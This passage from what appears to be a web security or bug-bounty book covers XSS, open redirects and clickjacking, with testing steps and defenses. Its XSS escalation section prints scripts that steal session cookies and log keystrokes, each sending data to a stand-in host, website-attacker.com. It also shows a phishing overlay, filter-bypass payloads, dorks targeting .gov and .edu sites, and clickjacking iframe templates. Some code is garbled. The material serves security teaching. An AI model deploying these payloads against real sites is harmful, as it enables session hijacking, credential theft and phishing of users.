• Identifies possible entry points for user-supplied data • XSS Hunter: A platform that allows you to create cus-
such as forms, search fields and URL parameters. tom XSS payloads that send alerts to your account
when executed in the victim's browser. It is useful for
2. Source code analysis: detecting blind XSS vulnerabilities, where you cannot
• If possible, review the application source code for code directly see the result of the injection.
patterns vulnerable to XSS, such as direct concatena- • PayloadsAllTheThings: A GitHub repository containing
tion of unvalidated data in HTML output. a large collection of XSS payloads that you can use in
your tests.
3. Manual testing:
• Try injecting basic XSS payloads at the identified entry Tips and Tricks
points. Start with simple payloads like <script>aler-
t('XSS')</script> and see if they execute in the browser. • Don't limit yourself to basic payloads: Experiment with
• Experiment with different types of encoding (URL, different types of payloads and evasion techniques to
HTML, JavaScript) and evasion techniques to bypass find vulnerabilities that other researchers might miss.
security filters. • Pay attention to the context: The context in which
malicious code is injected is crucial in determining
4. Automated scanning: whether it is vulnerable to XSS. Try different contexts,
• Use web vulnerability scanning tools such as Burp such as HTML attributes, JavaScript events and varia-
Suite, OWASP ZAP or Nikto to automate the search ble values.
for XSS. • Use debugging tools: Tools such as browser develo-
• Configure tools to scan for relevant entry points and per consoles can help you analyze how your malicious
use predefined XSS payload lists. code is processed and executed in the victim's browser.
• Learn from other researchers: Follow security blogs
and forums, attend conferences and participate in
5. Analysis of results: online communities to learn from other researchers and
• Reviews scan results and manual tests to identify keep up to date with the latest techniques and tools.
potential XSS vulnerabilities.
• Manually verify each finding to confirm that it is a
real vulnerability and not a false positive.

Tools & Techniques

• Burp Suite: A set of web security tools that includes

an intercepting proxy, a vulnerability scanner and a
request replayer. It is widely used by security resear-
chers to perform penetration testing and look for XSS
vulnerabilities.
• OWASP ZAP: An open source web vulnerability scan- XSS hunting is a constant challenge, but it is also a very
ner that can identify a wide range of vulnerabilities, rewarding skill. By mastering the techniques and tools presented

web vulnerabilities 49
in this chapter, you will be well on your way to becoming an expert
at detecting and preventing this critical vulnerability. Strengthening XSS Defenses

To protect against XSS attacks, it is crucial to implement a

layered defense:
Bypass XSS protection
1. Strict input validation: Validates all user-supplied
We will explore the advanced techniques attackers use to data on the server side, ensuring that it complies with
bypass XSS protections and how defenders can fortify their web expected formats and types. Use whitelists to allow
applications against these attacks. only specific characters and values.
2. Contextual output coding: Encodes all data displayed
XSS Avoidance Techniques to the user, using the appropriate coding technique
for each context (HTML, JavaScript, CSS, URL, etc.).
Attackers employ a variety of techniques to evade XSS fil- 3. Content Security Policy (CSP): Implement a strict CSP
ters and protections: to control which scripts, styles and other resources
can be loaded and executed in your web application.
1. Code obfuscation: Attackers can obfuscate their mali- 4. HttpOnly Cookies: Sets the HttpOnly attribute on
cious code to make it less recognizable by XSS filters. session cookies to prevent them from being accessed
This can include the use of encoding (URL, HTML, by JavaScript.
JavaScript), special characters and JavaScript obfusca- 5. Software updates: Keep your software up to date,
tion techniques such as the use of arrays, eval() func- including frameworks, libraries and web browsers, to
tions and regular expressions. fix known vulnerabilities.
2. HTML manipulation: Attackers can modify the HTML 6. WAF (Web Application Firewall): Consider using a WAF
structure of a page to create new contexts for code to detect and block known and suspected XSS attacks.
execution. For example, they can insert event attribu- 7. Safety tests: Performs regular penetration testing
tes into existing HTML tags or create new tags with and vulnerability scans to identify and fix XSS vulne-
on* attributes (such as onmouseover, onload, etc.) to rabilities before they can be exploited.
execute their malicious code.
3. DOM-based attacks: Attackers can exploit vulnerabi- Pursuing XSS is a constant challenge as attackers continue
lities in the application's JavaScript code to inject mali- to develop new evasion techniques. By understanding these
cious code into the page's DOM (Document Object techniques and strengthening your defenses, you can protect
Model). This can include manipulating events, modi- your web application and your users from XSS attacks. Remember
fying attributes of HTML elements and creating new that security is an ongoing process, and you should always be
elements. on the lookout for new threats and vulnerabilities.
4. Multi-sequence attacks: Attackers can split their XSS
payload into multiple parts and send them in different
requests or through different channels (e.g. cookies, Filtering logic errors
HTTP headers). This can make it difficult for XSS filters
to detect the entire payload. we will explore a specific type of XSS vulnerability that
5. Browser-based attacks: Attackers can exploit vulnera- arises from errors in the logic of security filters implemented in
bilities in web browsers to execute their malicious code. web applications. These errors, although often overlooked, can
This can include the use of zero-day exploits, vulnera- be exploited by attackers to bypass XSS protections and exe-
ble plugins or poorly implemented browser features. cute malicious code in users' browsers.

What are Filter Logic Errors in XSS?

Filter logic errors in XSS occur when security filters desig-

ned to prevent the injection of malicious scripts contain flaws in

50 MILLIONAIRE RECORDS
their design or implementation. These flaws can allow attackers
to bypass the filters using techniques such as:
Example 3: Filtering based on regular expression patterns
• Alternative encoding: Attackers can use different
encoding schemes (URL, HTML, JavaScript) to repre- An even more complex filter could use regular expressions
sent special characters that would normally be blo- to identify and block malicious code patterns. However, attackers
cked by filters. can find ways to bypass these regular expressions using special
• HTML structure manipulation: Attackers can insert characters, encryption or obfuscation techniques.
HTML tags or attributes that are not properly filte- XSS filter logic errors can be difficult to detect and pre-
red, creating new execution contexts for their mali- vent, but they are a real threat to web application security. By
cious code. understanding how these bugs work and following security best
• Injection in event attributes: Attackers can inject practices, you can protect your application and your users from
JavaScript code into event attributes (such as onclick, XSS attacks. Remember that security is an ongoing process, and
onmouseover, etc.) that are executed when the user you should always be on the lookout for new vulnerabilities and
interacts with the page. attack techniques.
• Multi-sequence attacks: Attackers can split their XSS
payload into multiple parts and send them in different
requests or through different channels, thus evading
filters that look for specific patterns.
• Browser-based attacks: Attackers can exploit vulne-
rabilities in web browsers to execute malicious code
that would not be blocked by server-side filters.

Examples of Filter Logic Errors in XSS

Example 1: Keyword-based filtering

A simple XSS filter could look for keywords such as "script",

"alert" or "onload" and block any input containing them. However,
an attacker could bypass this filter by using HTML encoding
(&#x73;cript, &#x61;lert, &#x6f;nload) or by using alternative
keywords (eval, setTimeout, etc.).

Example 2: HTML tag-based filter

A more sophisticated filter could attempt to remove all

HTML tags from the user input. However, an attacker could
use event attributes on allowed HTML tags (such as <img oner-
ror="alert('XSS')">) or create new tags with on* attributes to
execute their malicious code.

web vulnerabilities 51
 Example:
Escalating the attack
JavaScript
Once an attacker has discovered an XSS vulnerability in a
website, their primary goal is usually to go beyond simple code <script>
injection and exploit it to the fullest extent possible. This chapter document.onkeypress = function(e) {
explores the advanced techniques and strategies that attackers var key = (window.event) ? e.keyCode : e.which;
use to escalate their XSS attacks and cause a greater impact. var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://website-attacker.com/keylog-
1. Session and Cookie Theft ger', true);xhr.send('key=' + key);
};
• Objective: To hijack the session of a legitimate user </script>
in order to impersonate him.
• Technique: Inject an XSS script that captures the 3. Phishing Attacks
user's session cookies and sends them to the attacker.
• Objective: To trick users into revealing confidential
Example: information.
• Technique: Inject an XSS script that displays a fake
JavaScript pop-up window that mimics the appearance of the
legitimate website and requests sensitive data.
<script>
var cookies = document.cookie; Example:
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://website-attacker.com/steal- JavaScript
-cookies', true);
x h r . s e t R e q u e s t H e a d e r ( ' C o n t e n t -Ty p e ', <script>
'application/x-www-form-urlencoded'); window.onload = function() {
xhr.send('cookies=' + encodeURIComponent(cookies)); var overlay = document.createElement('div');
</script> overlay.innerHTML = '<div style="...">Enter your bank
details::</div>';
document.body.appendChild(overlay);
2. Keylogging };
</script>
• Purpose: To record user keystrokes to capture sen-
sitive information (passwords, credit card data, etc.). 4. Propagation of XSS to Other Users
• Technique: Inject an XSS script that logs each keys-
troke and sends the data to the attacker. • Objective: Amplify the attack by infecting other
users of the website.
• Technique: Use stored XSS to inject malicious code
into areas of the site where other users will see it, such
as forums or comments.

52 MILLIONAIRE RECORDS
5. XSS on Trusted Sites

• Objective: To take advantage of the trust that users

have in a legitimate site to carry out more effective
attacks.
• Technique: Inject XSS into a highly reputable web-
site and redirect users to malicious sites or display
misleading content.

6. Escalation of Privileges

• Purpose: To gain access to restricted functions and

data that the current user should not have access to.
• Technique: Use XSS to manipulate client-side logic
and perform actions on behalf of the user without
their knowledge.

Defenses against XSS Escalation Attacks

• Input validation: Implement strict validation of all

user input to prevent malicious code injection.
• Output encoding: Correctly encode the data before
displaying it in the browser to prevent it from being
interpreted as code.
• Content Security Policy (CSP): Restrict the sources
from which content can be uploaded to the website.
• WAF (Web Application Firewall): Use a WAF to
detect and block XSS attacks.

web vulnerabilities 53
 injection and testing of XSS payloads. Examples: Burp
Automated XSS Suite Intruder, ZAP Active Scan.
• Custom Scripts: Develop scripts to automate
Manually searching for XSS vulnerabilities can be a tedious specific tasks, such as injecting payloads into forms.
and time-consuming process. Fortunately, automation tools
and techniques exist that allow security researchers to scale Example: Use Burp Suite Intruder to inject a list of XSS
their efforts and discover XSS more efficiently. This chapter payloads into a search parameter and analyze the responses to
explores how to automate XSS hunting, from reconnaissance detect if any are executed.
to exploitation.
4. Automated Monitoring and Alerting
1. Automated Recognition
• Objective: Receive real-time notifications when an
1. Objective: Identify possible entry points for XSS XSS is discovered.
on a web site. Tools:
2. Tools: • XSS Hunter: Platform to generate XSS payloads
• Web crawlers (Crawlers): Crawl the website auto- and receive alerts when they are triggered.
matically, collecting URLs and parameters. Examples: • Burp Collaborator: Tool to detect interactions
Burp Suite Spider, ZAP Spider. with XSS payloads trying to communicate with exter-
• Vulnerability scanners: They look for known XSS nal servers.
patterns in web pages. Examples: Nikto, OWASP ZAP.
• Fuzzer: They send malicious inputs to website para- Example: Use XSS Hunter to generate an XSS payload
meters to test if they are vulnerable to XSS. Examples: and receive an email alert when a user visits a page con-
Wfuzz, ffuf. taining the payload.

Example: Use a web crawler to collect all the URLs of a 5. Integration with Development Workflows
website, then use a vulnerability scanner to scan each page
for XSS. 1. Objective: Incorporate XSS detection in the software
development process.
2. Automated Payload Generation 2. Tools:
• SAST (Static Application Security Testing):
1. Objective: Create custom XSS payloads to evade Analyzes source code for XSS vulnerabilities. Examples:
filters and maximize impact. SonarQube, Checkmarx.
2. Tools:
• XSS Payload Generators: Generate XSS payloads • DAST (Dynamic Application Security Testing):
based on different contexts and coding techniques. Performs security tests on the running application to
Examples: XSS Hunter, XSSer. detect XSS.
• Payload Lists: Compilations of known and effec-
tive XSS payloads. Example: Integrate a SAST scanner into the software
build process to detect and fix XSS vulnerabilities before
Example: Use a payload generator to create an XSS payload the application is deployed.
that executes even if it is encoded in HTML.
Legal and Ethical Considerations
3. Automated Injection and Testing
Automating XSS hunting should be done in a responsible
1. Objective: Inject XSS payloads in the identified entry and ethical manner. It is important to obtain proper permission
points and verify if they are executed. before testing on third-party websites and to avoid causing
2. Tools: damage or disruption.
• Penetration test frameworks: Automate the

54 MILLIONAIRE RECORDS
Tips for finding your first XSS

• Start with the basics: Practice with simple XSS

payloads and learn to identify common patterns of
vulnerabilities.
• Use tools: There are many tools available that can
help you automate the search for XSS, such as vulne-
rability scanners and fuzzers.
• Learn from others: Read vulnerability reports, blogs
and tutorials to learn the latest XSS techniques and
strategies.
• Don't give up: Finding your first XSS may take time
and patience, but the rewards of discovering a real
vulnerability are priceless.

web vulnerabilities 55
2 . 3 - OPE N R E DI R E C T Example 2: Opening Redirect in a marketing e-mail

#2.3 Consider a marketing email that includes a link to a promo-

tional offer with a redirect parameter:

Open redirects are a type of vulnerability that occurs when --------------------

a web application accepts user-controlled input to redirect the http://example.com/offer?redirect=http://example.com/
user to a specified URL, but does not properly validate or sani- thankyou
tize this input. This can lead to phishing attacks and other mali- --------------------
cious activity. In this chapter, we will explore what open redi-
rects are, how they work, and provide real-world examples that An attacker could modify the redirect parameter to point
illustrate their impact. to a phishing site:

Understanding open redirects --------------------

http://example.com/offer?redirect=http://phishing.com
An open redirect occurs when an application includes user- --------------------
-controlled data in a URL redirect without proper validation.
Attackers can exploit this by creating URLs that redirect users When users click on the link, they are redirected to the
to malicious websites, making it easy to trick them. phishing site, which may look like the legitimate site and ask
them to enter sensitive information.
Real-world examples
Example 3: Opening Redirect in a URL shortening service
Let's examine some real-world examples to understand how
open redirects work and the potential risks they pose. Many URL shorteners take a URL as input and redirect users
to the destination. An open redirect vulnerability can occur if the
Example 1: Open Redirect on a login page service does not properly validate the input URL:

Let's imagine a website with a login form that includes a --------------------

"next" parameter in the URL to redirect users to a specific page http://shortener.com/?url=http://example.com
after logging in: --------------------

-------------------- An attacker could create a shortened URL that redirects

http://example.com/login?next=http://example.com/ to a malicious site:
dashboard
-------------------- --------------------
http://malicious.com/?url=http://malice.com
An attacker can exploit this by changing the "next" para- --------------------
meter to a malicious site:
-------------------- Users clicking on the shortened URL would be redirected
http://example.com/login?next=http://malicious.com to the malicious site
-------------------- .

If the application does not validate the "next" parameter, it

will redirect users to the malicious site after logging in.

56 MILLIONAIRE RECORDS
 and loss of user trust. By understanding how open redirects work
Risks and impacts and learning from real-world examples, you can better protect
web applications from these attacks. Always validate and sanitize
Open redirects can lead to several serious risks: user input, use whitelists and minimize user-controlled redirects
to mitigate the risks associated with open redirects.
1. Phishing attacks: Attackers can create URLs that
appear to be from a trusted source, but redirect users
to phishing sites, where they can steal login creden-
tials or other sensitive information.
2. Malware distribution: Users can be redirected to
sites hosting malware, leading to their devices being
compromised.
3. Loss of trust: If users are frequently redirected to
malicious sites from a trusted web application, it can
damage the organization's reputation.

Prevent the opening of redirections

To avoid open redirects, web developers should:

1. Validate and sanitize input: Ensure that any user-con-

trolled input used in redirects is properly validated
and sanitized.
2. Use of whitelists: Apply whitelists of URLs allowed for
redirects. Only allow redirects to URLs that are expli-
citly listed and trusted.
3. Avoid user-controlled redirects: Whenever possible,
avoid using user-controlled input to redirect altogether.

Secure code examples:

// Input validation
$url = $_GET['url'];
if (!filter_var($url, FILTER_VALIDATE_URL) || !preg_mat-
ch('/^https:\/\/fanyv88.com:443\/https\/legitimate-site\.com/', $url)) {
die("URL invalid");
}

// Server-side redirection
header("Location: $url");
exit;

Open redirects are a common and potentially dangerous vul-

nerability that can lead to phishing attacks, malware distribution

web vulnerabilities 57
 Find your first Open Redirect How to exploit open redirects?

What are open redirects? Once an open redirect is identified, an attacker can build a
malicious link that redirects users to a website controlled by the
An open redirect occurs when a web application accepts attacker. This link can be distributed via email, social networks,
uncontrolled parameters that specify the destination URL of a forums, etc.
redirect. This allows attackers to build links that appear to come
from the legitimate website, but actually redirect users to mali- Using Google Dorks to Find Additional
cious sites. Redirect Parameters

Examples of open redirects: Redirect parameters on websites are a common target for
Cross-Site Scripting (XSS) attacks. These parameters are often
• URL parameters: not properly protected, allowing attackers to inject malicious
code that executes in the victim's browser. In this chapter, we
https://sitio-legitimo.com/redirect.php?url=https://site-ma- will explore how to use Google Dorks, a powerful technique for
licious.com searching Google for specific information, to discover vulnerable
redirect parameters on websites.
• Parameters on forms:
What is Google Dorks?
HTML
Google Dorks are special search queries that use advanced
<form action="/redirect.php" method="POST"> operators to refine search results. These operators allow you to
<input type="hidden" name="url" value="https://site-ma- search for specific file types, keywords in specific locations on
licious.com"> a web page, and even known vulnerabilities.
</form>
Finding Redirect Parameters with Google Dorks
How to find open redirects?
To find redirection parameters, we can use the following Google
• Manual analysis of the source code: Search for para- Dorks:
meters that control redirects and verify if they are pro-
perly validated. • inurl: Searches for a specific keyword in a web page
• Security analysis tools: Use web vulnerability scan- URL.
ners such as OWASP ZAP or Burp Suite to identify • site: Narrows the search to a specific web site.
open redirects.
• Google Dorking: Look for URL patterns that may By combining these operators, we can create dorks like
indicate the presence of open redirects. For example: the following:
site:site-legitimate.com inurl:redirect
• inurl:redirect site:.gov
• inurl:url site:.edu
• inurl:return site:.com
• inurl:redir site:.org

These dorks will look for parameters such as "redirect", "url",

"return" and "redirect" on government (.gov), educational (.edu),
commercial (.com) and organization (.org) websites.

58 MILLIONAIRE RECORDS
 Practical Examples Bypass protection
Suppose we find the following result using one of our dorks: Open redirect vulnerabilities allow attackers to manipu-
late a website's redirect logic to send users to malicious desti-
https://www.example.com/redirect.php?url=https://www. nations. Although many sites implement protections to prevent
google.com this type of attack, persistent attackers often find ways to evade
these defenses. This chapter explores common techniques used
In this case, the "url" parameter is a redirect parameter. We to circumvent overt redirect protection and how defenders can
can test if it is vulnerable to XSS by injecting a basic payload strengthen their security measures.
such as:
1. Character encoding and URL obfuscation
https://www.example.com/redirect.php?url=https://www.
google.com<script>alert(1)</script> • Purpose: To hide the true nature of the redirection
destination using character encoding or obfuscation
If the website is vulnerable, we will see a pop-up alert with techniques.
the number "1". Técnicas:
• URL encoding: Replace special characters in the
Additional Tips URL with their encoded equivalents (e.g. %2F for /).
Double encoding: Encode the URL several times to
• Try different dorks combinations: Experiment with evade simple filters.
different keywords and operators to find more redi- • Domain obfuscation: Using similar Unicode characters
rect parameters. to create domains that appear legitimate. (por ejemplo,
• Use automated tools: There are tools that automate xn--pple-43d.com para apple.com).
the search for redirect parameters using Google Dorks. • Example:
• Be ethical: Use this technique only on websites that
have given you permission for security testing. https://website-vulnerable.com/redirect?url=https%3A%-
2F%2Fwebsite-vulnerable.com
Precautions
2. Parameter abuse and validation logic
• Not all redirection parameters are vulnerable: Some
websites implement security measures to protect • Objective: To exploit errors in the implementation
against XSS. of the redirection validation logic.
• Google may block your IP address: If you perform too • Techniques:
many searches in a short period of time, Google may 1. Parameter manipulation: Modify unexpected para-
temporarily block your IP address. meters to bypass filters.
2. njecting special characters: Entering characters such
as blank spaces or new lines to alter the URL validation.
3. Redirect chains: Use multiple redirects to hide the
final destination.
• Ejemplo:

https://website-vulnerable.com/redirect?url=https://legiti-
mate-site.com?url=https://malicious-site.com

web vulnerabilities 59
 protect their users from the risks associated with open
3. Client-side attacks redirect vulnerabilities.

- Objective: Exploit client-side vulnerabilities to bypass

open redirection protection. Escaling the attack
- Techniques:
1. XSS (Cross-Site Scripting): Inject JavaScript code to per- Open Redirects vulnerabilities are often considered low risk,
form the redirection from the user's browser. but they can be escalated for more sophisticated and dan
2. DOM manipulation: Modify web page content to change gerous attacks. This chapter explores how attackers can
redirection destination. exploit open redirects to carry out phishing, credential theft,
- Example:: security bypass and other advanced attacks.

JavaScript 1. Phishing and Credential Theft

<script> - Goal: Trick users into revealing sensitive information.

window.location.href = "https://malicious-site.com"; - Technique: Create an open redirect URL that looks legiti
</script> mate and directs users to a fake website that mimics the
original.
4. Open redirects in subdomains - Example:

- Objective: To exploit trust in subdomains controlled by https://sitio-legitimo.com/redirect?url=https://sitio-falso.

the attacker. com/login
- Technique: Register a subdomain on the vulnerable site
and use it to redirect users. An attacker could send this URL to a user, making them
- Example: believe they are being redirected to the legitimate login
page.
https://website-vulnerable.com/redirect?url=https://sub-
domain-attacker.site-vulnerable.com 2. Security Bypass

Defenses against open redirection protection evasion - Objective: To bypass security filters and access controls.
- Technique: Use an open redirect to access internal or res
- Domain whitelisting: Allow redirects only to specific and tricted resources that would not normally be available.
trusted domains. - Example:
- Strict URL validation: Implement stringent validation of
the destination URL, including checking for special https://sitio-corporativo.com/redirect?url=https://sitio-cor
characters and URL normalization. porativo.com/admin
- Use of CSRF tokens: Use CSRF tokens to protect redi-
rect requests. An attacker could use this URL to access the corporate
- XSS protection: Prevent injection of JavaScript code that site's administration panel, even if he does not have valid
can perform malicious redirects. credentials.
- Monitoring and logging: Log all redirect requests to detect
suspicious patterns... 3. CSRF (Cross-Site Request Forgery) Attacks

By understanding evasion techniques and strengthening - Objective: Perform unauthorized actions on behalf of a
defenses, web developers and administrators can better user.
- Technique: Combine an open redirect with a CSRF attack

60 MILLIONAIRE RECORDS
to trick the user's browser into executing malicious
actions on a logged-in website.
- Example:
- CSRF tokens: Use CSRF tokens to protect against CSRF
An attacker could send an open redirect link to a user that attacks.
contains a hidden CSRF attack. Upon clicking the link, the - X-Frame-Options: Use the X-Frame-Options header to
user's browser would be redirected to a legitimate web prevent clickjacking attacks.
site, but the CSRF attack would run in the background,
performing unauthorized actions without the user's
knowledge.

4. Clickjacking attacks

- Objective: Trick users into clicking on invisible or disgui

sed elements.
- Technique: use an open redirect to load a malicious web
page in an invisible iframe over a legitimate page.
- Example:

An attacker could create a web page containing an invi

sible button over a legitimate link. Upon clicking the link,
the user would be redirected to another page, but the invi
sible button would also be clicked, performing some mali
cious action without the user's knowledge.

5. XSS (Cross-Site Scripting) Attack Amplification

- Objective: To increase the impact of an XSS attack.

- Technique: Use an open redirect to redirect users to a
page containing a malicious XSS script.
- Example:

https://sitio-vulnerable.com/redirect?url=https://sitio-ata
cante.com/xss.js

An attacker could inject this URL into an XSS vulnerable

website. When a user visits the injected page, their brow
ser would be redirected to the attacker's page, where the
XSS script would be executed.

Defenses against Open Redirects Escalation

- URL validation: Implement strict validation of all redi

rect URLs to ensure that they only point to allowed domains
and paths.
- Whitelist: Maintain a whitelist of allowed redirect URLs
and block all others.
- User warnings: Display clear warnings to users before
redirecting them to an external site.

web vulnerabilities 61
2 . 4 - CL I C K JA C K I NG }
</style>

#2.4 </head>
<body>
<h1>Click here to win a prize!</h1>
<iframe src="https://www.facebook.com/
Clickjacking is a vulnerability in which an attacker tricks like_button_page"></iframe>
users into clicking on invisible or disguised web elements, such </body>
as buttons or links, without them realizing it. This type of attack </html>
can have serious consequences, such as disclosing personal ----------------
information, performing unwanted actions or compromising
system security.
Ejemplo 2: Clickjacking on a Security Settings Page
Understanding Clickjacking
Consider a bank account web page that has a button to
Clickjacking works by placing a transparent page or web ele- change security settings, such as enabling or disabling two-fac-
ment over another page that the user considers legitimate. In this tor authentication (2FA). An attacker could load this page in a
way, when the user tries to interact with the visible page, they transparent iframe over a page with a fake appeal, such as a
are actually interacting with the hidden page or hidden elements. personality quiz or online game. When the user thinks they are
interacting with the quiz or game, they are actually disabling 2FA
Real-life examples of Clickjacking on their bank account.

Let's explore some real examples to understand how click- Example 3: Clickjacking on a Payment Form
jacking works and the risks it can entail.
A malicious website could load a legitimate merchant's pay-
Example 1: Clickjacking on a Social Media "Like" Button ment form in a transparent iframe about a game or survey. Users
think they are interacting with the game or survey, but are actually
Imagine a web page that has a Facebook "Like" button. An entering their credit card information into the payment form.
attacker could create a malicious page that loads the legitimate
Facebook page in a transparent iframe, positioning the "Like" Risks and Consequences
button just below the user's cursor. The user thinks they are cli-
cking on a visible link or button on the malicious page, but they Clickjacking can lead to several serious consequences:
are actually clicking on the Facebook "Like" button.
1. Disclosure of Personal Information: Users can be tri-
---------------- cked into divulging sensitive information, such as pas-
<html> swords, credit card numbers, and other personal data.
<head> 2. Unwanted Actions: Users can perform actions on your
<style> behalf without your consent, such as posting on social
iframe { networks, sending emails, or changing security settings.
opacity: 0; /* Makes the iframe transparent */ 3. Compromise of System Security: Attackers can disable
position: absolute; security features, such as two-factor authentication,
top: 0; further compromising user security.
left: 0;
width: 100%;
height: 100%;

62 MILLIONAIRE RECORDS
 Clickjacking Prevention

To prevent clickjacking, web developers should implement

the following measures:

• HTTP Security Headers: Use the X-Frame-Options

or Content-Security-Policy (CSP) headers to control
whether a page can be loaded in an iframe.
• X-Frame-Options: DENY prevents the page from
loading in any iframe.
• X-Frame-Options: SAMEORIGIN allows the page
to load in an iframe only if the origin is the same.
• The CSP policy can specify more complex rules
for iframes.

Frame Busting: Implements JavaScript techniques to

prevent your page from being loaded in an iframe. For example:

----------------
if (window.top !== window.self) {
window.top.location = window.self.location;
}
----------------

User Interface Design: Design user interfaces that are

less susceptible to clickjacking attacks, such as avoiding exces-
sive use of iframes and improving the visibility of critical actions.

Clickjacking is a serious vulnerability that can lead to devas-

tating consequences if not handled properly. Understanding how
it works and learning from real-world examples can help protect
your web applications and your users. Implement security hea-
ders, frame busting techniques, and design secure user interfa-
ces to mitigate the risks associated with clickjacking.

web vulnerabilities 63
 3. Exploiting Clickjacking Vulnerabilities
Advanced search
• Objective: To demonstrate how an attacker can
Clickjacking, also known as click hijacking, is a malicious exploit a clickjacking vulnerability.
technique in which an attacker tricks a user into clicking on a • Techniques:
visible element on a web page, while actually interacting with a 1. Create a malicious page: Design a web page that
hidden or transparent element in an overlay. This chapter explo- overlays a transparent iframe over a legitimate button
res how to identify and exploit clickjacking vulnerabilities. on another page.
2. Luring the user: Using social engineering to lure
1. Understanding Clickjacking the user to the malicious page (e.g. through a mislea-
ding link).
• Objective: To become familiar with the basic con- 3. Trick the user: Make the user click on the visible
cepts of clickjacking and its different variants. button, which will actually activate the hidden button
• Types of Clickjacking: in the iframe.
1. Classic Clickjacking: The attacker superimposes a • Example: Create a malicious page that overlays
transparent iframe over a legitimate button. a transparent iframe over the "Buy Now" button of
2. Likejacking: The attacker tricks the user into cli- an e-commerce site, replacing it with a "Win a prize"
cking the Facebook "Like" button. button.
3. Cursorjacking: The attacker manipulates the mouse
cursor to point to an element other than the one the 4. Mitigating Clickjacking
user thinks he/she is clicking.
• Impact: Theft of credentials, disclosure of confiden- • Objective: To protect web pages against clickja-
tial information, installation of malware, execution of cking attacks.
unwanted actions. • Techniques:
1. X-Frame-Options: Configure this HTTP header to
2. Identifying Clickjacking Vulnerabilities control whether a page can be embedded in an iframe.
2. Content Security Policy (CSP): Use CSP policies to
• Objective: To find web pages susceptible to click- restrict the loading of external content and prevent
jacking attacks. the embedding of unauthorized iframes.
• Tools: 3. Framebusting: Implement scripts that detect if a
1. Manual inspection: Examine the source code of page is being loaded in an iframe and break the frame.
the page for iframes and overlapping layers. • Example: Set the X-Frame-Options header to "DENY"
2. Browser extensions: Use extensions such as to prevent a page from being embedded in an iframe.
"Clickjacking Test" to detect possible vulnerabilities.
3. Vulnerability scanners: Employ tools such as 5. Clickjacking on Mobile Devices
OWASP ZAP to automatically identify clickjacking
vulnerabilities. • Objective: To understand how clickjacking can affect
• Example: Analyze the source code of a web page mobile device users.
and discover a hidden iframe that loads an external site. • Challenges: Touch screens make it more difficult for
users to detect transparent overlays.
• Mitigation: Apply the same mitigation techniques as
for desktop browsers, in addition to considering res-
ponsive design and user experience on mobile devices.

64 MILLIONAIRE RECORDS
 Content-Security-Policy: frame-ancestors *.domain-atta-
Overcoming protection cker.com

Attackers can employ a variety of techniques to circum- 3. Hybrid Attacks

vent them and carry out their attacks. This chapter delves into
these techniques and mitigation strategies. • Combination of Techniques: Attackers can combine
Clickjacking with other vulnerabilities, such as XSS or
CSRF, to increase the impact of their attacks.
1. Bypassing X-Frame-Options • Example: Injecting an XSS script into a vulnerable
site and then performing a Clickjacking attack to trick
• X-Frame-Options: An HTTP header that tells the the user into performing unwanted actions.
browser whether to allow a page to be displayed in
an iframe. 4. Clickjacking on Mobile Devices
• Avoidance Techniques:
1. Frame Busting: Inject JavaScript code into the • Additional Challenges: The smaller screens and touch
victim website to break the iframe. interaction of mobile devices present unique challen-
2. Nested iframes: Use nested iframes to bypass ges for Clickjacking.
X-Frame-Options protection. • Avoidance Techniques:
3. Clickjacking on Vulnerable Sites: Search for websi- 1. Transparent Overlay: Overlay a transparent iframe over
tes that do not correctly implement X-Frame-Options. legitimate user interface elements.
• Example (Frame Busting): 2. Gesture Manipulation: Hijacking touch gestures to
perform unwanted actions.
JavaScript
Clickjacking Mitigation
<script>
if (top != self) { • X-Frame-Options: Configure this header properly to
top.location.href = self.location.href; prevent the site from displaying in iframes.
} • Content Security Policy (CSP): Implement a strict
</script> CSP policy to control resource load.
• Frame Busting: Use scripts to break iframes and
2. Bypassing Content Security Policy (CSP) redirect the user to the main page.
• User Awareness: Educate users about the risks of
• CSP: It is an additional layer of security that allows Clickjacking and how to identify it.
you to control which resources can be loaded on a page.
• Avoidance Techniques: Advanced Examples
1. Social Engineering: Tricking the user into clicking
on a malicious link that leads to a vulnerable page. • Social Media Clickjacking: Tricking users into posting
2. Attacks on Third-Party Sites: Search for XSS vul- unwanted content or following malicious accounts.
nerabilities in third-party websites that load on the • Clickjacking in Web Applications: Exploiting vulne-
target site. rabilities in web applications to perform unauthori-
3. Use of Subdomains: Hosting malicious content zed actions.
on a subdomain of the target site that is not protec-
ted by CSP.
• Example (CSP Unsecured):

web vulnerabilities 65
 Escalating the attack 3. Advanced Clickjacking Techniques

• Clickjacking Combined with XSS: Using an XSS vul-

While a basic clickjacking attack may seem trivial, attackers nerability to inject code that performs a clickjacking
can escalate this technique to achieve more damaging targets. attack, making it difficult to detect.
This chapter explores how clickjackers can take their attacks to • Clickjacking on Mobile Devices: Adapt the techni-
the next level and the defenses that can be implemented. que to take advantage of the specific characteristics
of touch screens.
1. Basic Clickjacking: The Initial Deception • Clickjacking in Rich Web Applications: Exploiting the
complex interactions of web applications to perform
• Objective: To induce the user to click on an element more sophisticated attacks.
that was not intended.
• Technique: Superimpose an invisible frame (iframe) 4. Clickjacking Defenses
over a legitimate page and place interactive elements
(buttons, links) so that they align with the visible ele- • X-Frame-Options: Configure this HTTP header to
ments of the original page. control whether a page can be embedded in an iframe.
• Example • Content Security Policy (CSP): Define a security
policy that restricts the uploading of content from
HTML other domains.
• Framebusting Scripts: Use JavaScript to detect if a
<div style="position:relative;"> page is being embedded in an iframe and take action
<iframe s rc = " h t t p : // l e g i t i m a t e - s i t e . c o m " (e.g. redirect the user).
style="width:500px;height:300px;"></iframe> • User Awareness: Educate users about clickjacking
<button style="position:absolute;top:50px;left:100px;">- and how to recognize it.
